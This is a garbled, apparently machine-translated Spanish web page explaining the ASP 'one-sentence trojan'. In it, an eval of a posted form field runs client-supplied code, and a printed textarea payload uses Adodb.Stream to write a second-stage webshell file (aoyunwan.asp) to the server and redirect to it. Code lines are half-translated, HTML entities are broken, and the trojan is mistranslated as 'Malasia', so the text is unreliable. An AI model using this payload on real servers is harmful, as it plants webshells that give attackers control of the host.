Red de conocimientos turísticos - Conocimientos sobre calendario chino - El principio del caballo de Troya en una frase

El principio del caballo de Troya en una frase

En primer lugar, SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPTgt; es la etiqueta de inicio del script JavaScript. El valor del atributo RUNAT SERVER indica que el script se ejecutará en el lado del servidor. es la esencia del troyano de una frase. Si utiliza el método eval, la cadena que contiene se ejecutará, de modo que cuando el script se ejecute en el lado del servidor, se mostrará el código Request.form('#') ''. también se ejecutará Request.form('#') La función es leer la parte cuyo valor de nombre se denomina # en el atributo de etiqueta html en el archivo del cliente. Por ejemplo, lo siguiente es un extracto de una oración del código del cliente: <. /p>

lt; nombre del área de texto=# cols="80" filas= "10"gt;

set iP=server.createObject("Adodb.Stream")

iP.Open

iP.Type=2

iP.CharSet="gb2312"

solicitud iP.writetext("aoyun")

iP.SaveToFile server.mappath("aoyunwan.asp"), 2

iP.Close

establecer iP=nada

respuesta.redirect " aoyunwan.asp"

lt;/textareagt;

Los amigos que han estudiado HTML deberían haber notado que al atributo de nombre en la etiqueta del área de texto se le asigna el valor #, lo que significa que el servidor El lado necesita leer el código (usando Request.form('#')), y luego ejecutar (Usando eval(Request.form('#') '')), es decir, ejecutar:

establecer iP=server.createObject("Adodb.Stream")

iP Abrir

iP.Type=2

iP.CharSet="gb2312"<. /p>

iP.writetext request("aoyun")

iP.SaveToFile server.mappath("aoyunwan.asp"), 2

iP.Close

set iP=nothing

response.redirect "aoyunwan.asp "

Los amigos que hayan aprendido asp deberían entenderlo. El significado del código anterior es crear primero un. transmita la IP del objeto y luego use el método writetext en el objeto para leer el contenido de la solicitud ("aoyun") (es nuestra oración común que el contenido en el segundo dominio de área de texto del cliente (es decir, nuestro código de Malasia) es escrito en el archivo aoyunwan.asp

en el servidor Después de escribir, use set iP =nada Libere a la otra parte y use Response.redirect "aoyunwan.asp" para redirigir al archivo escrito. ¡La última Malasia que vimos!